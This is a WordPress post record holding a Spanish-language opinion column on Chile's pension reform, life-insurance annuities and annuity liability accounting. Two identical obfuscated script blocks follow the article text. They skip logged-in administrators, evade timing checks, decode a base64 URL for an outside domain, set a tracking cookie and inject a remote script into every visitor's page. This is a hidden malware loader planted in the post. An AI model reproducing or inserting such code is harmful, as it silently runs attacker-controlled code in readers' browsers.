{"id":3762,"date":"2022-12-30T01:44:51","date_gmt":"2022-12-30T01:44:51","guid":{"rendered":"https:\/\/nuevo.cb.cl\/?p=3762"},"modified":"2026-01-18T15:01:45","modified_gmt":"2026-01-18T15:01:45","slug":"antes-de-reformar-el-sistema-de-pensiones-parte-ii","status":"publish","type":"post","link":"https:\/\/nuevo.cb.cl\/?p=3762","title":{"rendered":"Antes de reformar el sistema de pensiones. Parte II"},"content":{"rendered":"\n<p>En la columna anterior (primera parte;\u00a0<a href=\"https:\/\/www.elmostrador.cl\/noticias\/opinion\/columnas\/2022\/12\/14\/antes-de-reformar-el-sistema-de-pensiones\/\" target=\"_blank\" rel=\"noreferrer noopener\"> ver aqu\u00ed<\/a>) me centr\u00e9 en la etapa de ahorro previsional. En esta segunda parte abordar\u00e9 los puntos a tener en cuenta en la etapa de desahorro.<\/p>\n\n\n\n<p><strong>6 puntos a considerar en el dise\u00f1o de la etapa del pago de las pensiones<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\" type=\"1\"><li>En relaci\u00f3n a la etapa del desahorro (pago de la pensi\u00f3n), y espec\u00edficamente sobre las Rentas Vitalicias (RV) que venden las Compa\u00f1\u00edas de Seguros de Vida (CSV), el problema se trata esencialmente de calce financiero de riesgo y plazo. Con activos y pasivos calzados, una variaci\u00f3n en la tasa de inter\u00e9s no generar\u00eda ning\u00fan problema en el balance. Y con calce perfecto, la p\u00e9rdida en un lado del balance se compensa con la ganancia en el otro lado; incluso no se requerir\u00eda patrimonio de respaldo. Pero eso no ocurre con las CSV por varias razones.<\/li><\/ol>\n\n\n\n<p>El problema ocurre cuando se deben renovar las inversiones o cuando \u00e9stas se venden en el mercado (para aprovechar la ganancia de capital producto de la ca\u00edda en la tasa de inter\u00e9s) y son reemplazadas por nuevos papeles a tasas menores.<\/p>\n\n\n\n<p>Originalmente, un cierto descalce entre activos y pasivos no era un problema porque el escenario de tasas era \u201calto\u201d (la tasa de descuento utilizada era la tasa de mercado de instrumentos estatales de plazo superior a 8 a\u00f1os (TM), la cual superaba el 6% real anual previo al a\u00f1o 2000), y se aplicaba una \u201ctasa castigo\u201d de 3% real anual al pasivo descalzado. En este escenario, el patrimonio constitu\u00eda un respaldo apropiado que permit\u00eda \u201cjugar\u201d en el casino del mercado de capitales bajo ciertos l\u00edmites razonables. Sin embargo, la abrupta ca\u00edda en la tasa de inter\u00e9s libre de riesgo, llegando a cero o incluso negativa, cambi\u00f3 todo el esquema original: la tasa castigo ahora pasaba a ser un premio. \u00bfC\u00f3mo se abord\u00f3 este nuevo escenario por parte de la ex SVS? Con \u201c<em>parches<\/em>\u201d que no se hicieron cargo de este cambio estructural (ver punto 5); incluso m\u00e1s, profundizaron el problema al enfatizar la b\u00fasqueda de mayores retornos. El verdadero descalce pas\u00f3 a ser la norma y no la excepci\u00f3n.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Adicionalmente, con el objetivo de captar clientes, desde hace m\u00e1s de dos d\u00e9cadas las CSV ofrecen a los pensionados RV que prometen y aseguran rentabilidades que exceden la TIR de instrumentos seguros. Ese fue un punto de no retorno. Se prioriz\u00f3 el apetito por riesgo-retorno y se abandon\u00f3 la seguridad en el pago.<\/li><\/ul>\n\n\n\n<ul class=\"wp-block-list\"><li>Las CSV mantienen una ficci\u00f3n contable al tener subvalorados los pasivos por RV, ya que descuentan un pago seguro a una tasa con premio, amparados en la regulaci\u00f3n vigente. La trampa no es solo la inconsistencia flujo &#8211; tasa de descuento. La letra chica es el uso de la tasa de bautizo (aquella tasa existente al momento de entrada en vigencia de la p\u00f3liza), la cual permanece inalterada para valorizar el pasivo durante toda la vigencia de la p\u00f3liza. Doble error: tasas con premio y desactualizadas. Es decir, el <em>stock<\/em> de RV no se valoriza a las tasas libre de riesgo vigentes en cada cierre de balance. Una incoherencia financiera elemental. La Autoridad ha permitido esta ficci\u00f3n contable a pesar de ser advertida en reiteradas ocasiones.<\/li><\/ul>\n\n\n\n<ul class=\"wp-block-list\"><li>Las CSV han ofrecido un producto que en estricto rigor NO es una renta vitalicia. Esto ha sido el gran enga\u00f1o a la ciudadan\u00eda. Se vende y se publicita un producto financiero que no es tal. Se vende una renta cuasi vitalicia sujeta a riesgo. Un <em>jurel tipo salm\u00f3n<\/em>.<\/li><\/ul>\n\n\n\n<ul class=\"wp-block-list\"><li>Las metodolog\u00edas supuestamente complejas y t\u00e9cnicas de Capital Basado en Riesgo y Test de Suficiencia de Activos, con las cuales la Autoridad pretende controlar y resguardar la solvencia de las CSV, esconden el problema real y no se hacen cargo del concepto econ\u00f3mico que es la esencia del tema, a saber, que el pasivo por RV registrado en el balance de las CSV muestra una incoherencia entre flujo y tasa de descuento, y que si se descontara el flujo a la tasa correcta, las CSV estar\u00edan quebradas. Como referencia, para una CSV con una relaci\u00f3n deuda patrimonio de 15 veces, si los pasivos aumentan en s\u00f3lo un 6,67%, la CSV pierde el 100% de su Patrimonio. \u00bfEs muy dif\u00edcil que ocurra eso? Si la <em>duration<\/em> del pasivo es 20 a\u00f1os, basta que la tasa de descuento caiga de 2,5% real anual a 1,825% real anual, es decir, que caiga solo 67,5 pb para que la CSV pierda todo su patrimonio; si la <em>duration<\/em> del pasivo es 15 a\u00f1os, basta que la tasa de descuento caiga de 2,5% real anual a 1,5% real anual, es decir, que caiga solo 100 pb para que la CSV pierda todo su patrimonio. Esto no es solo un ejercicio matem\u00e1tico en Excel; la realidad ha sido much\u00edsimo m\u00e1s cruda. Y, por cierto, no es necesario esperar que llegue dicho nivel de tasas para que las alarmas se activen. \u00bfAun insistiendo porfiadamente la CMF en una regulaci\u00f3n que no regula, en un term\u00f3metro que no mide la fiebre del enfermo?<\/li><\/ul>\n\n\n\n<ul class=\"wp-block-list\"><li>Las RV son equivalentes a los \u201c<em>defined benefits<\/em>\u201d o beneficios fijos, los cuales han quebrado en todo el mundo producto de las ca\u00eddas en las tasas de inter\u00e9s. No nos enga\u00f1emos: el hecho que las tasas de inter\u00e9s hayan estado subiendo en el \u00faltimo tiempo no es se\u00f1al que este equilibrio sea permanente, y en un plazo menos largo del que se piensa, las tasas libres de riesgo volver\u00e1n a bajar, en coherencia con condiciones de equilibrio en un mundo m\u00e1s normalizado, con escasa oferta de papeles seguros y con un espectro riesgo-retorno del mercado de capitales consistente con la revoluci\u00f3n tecnol\u00f3gica que reci\u00e9n est\u00e1 comenzando.<\/li><\/ul>\n\n\n\n<p><strong>Conclusi\u00f3n<\/strong><\/p>\n\n\n\n<p>La reforma actual al sistema de pensiones apunta principalmente a aumentar de 10% a 16% el monto de aporte mensual, donde una parte ir\u00e1 a un fondo com\u00fan con cuentas nocionales. Adem\u00e1s, se pretende establecer un sistema de pensi\u00f3n del tipo \u201c<em>defined benefits<\/em>\u201d sin parametrizar ni contabilizar correctamente. Y se vuelve a caer en la trampa del retorno esperado olvidando el Equivalente Cierto. Implementar dichas reformas sin abordar previamente ninguno de los problemas estructurales del modelo ni los graves errores conceptuales tratados en esta columna y su predecesora, resultar\u00e1 inevitablemente en \u201cenredar\u201d y profundizar a\u00fan m\u00e1s la entrop\u00eda del sistema. Ser\u00eda como pretender resolver ecuaciones de c\u00e1lculo avanzado -y lo peor, creer que se hace bien-, cuando no se dominan las reglas de la aritm\u00e9tica b\u00e1sica.<\/p>\n\n\n\n<p>Las iron\u00edas de la vida: con una reforma que pone el foco en otros aspectos, con un enredo que amplifica el desorden, y sin tener claridad sobre las bases conceptuales econ\u00f3mico-financieras del verdadero modelo de pensiones, se dificultar\u00e1n a\u00fan m\u00e1s los diagn\u00f3sticos correctos\u2026 y las quebradas Compa\u00f1\u00edas de Seguros de Vida seguir\u00e1n aumentando su d\u00e9ficit y eludir\u00e1n los importantes aumentos de capitales que ya hoy se requieren. La Autoridad convenientemente zafar\u00e1 de su irresponsabilidad. Todo el d\u00e9ficit ser\u00e1 indirectamente financiado con impuestos generales. Ser\u00e1 el rescate impl\u00edcito al sector privado m\u00e1s grande la historia financiera de Chile. Todos los chilenos tendremos un tercer apellido: Moya.<\/p>\n\n\n\n<p>Iv\u00e1n Rojas B.<\/p>\n\n\n\n<p><a href=\"http:\/\/www.comopiensaves.blogspot.com\">www.comopiensaves.blogspot.com<\/a><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>En la columna anterior (primera parte;\u00a0 ver aqu\u00ed) me centr\u00e9 en la etapa de ahorro previsional. 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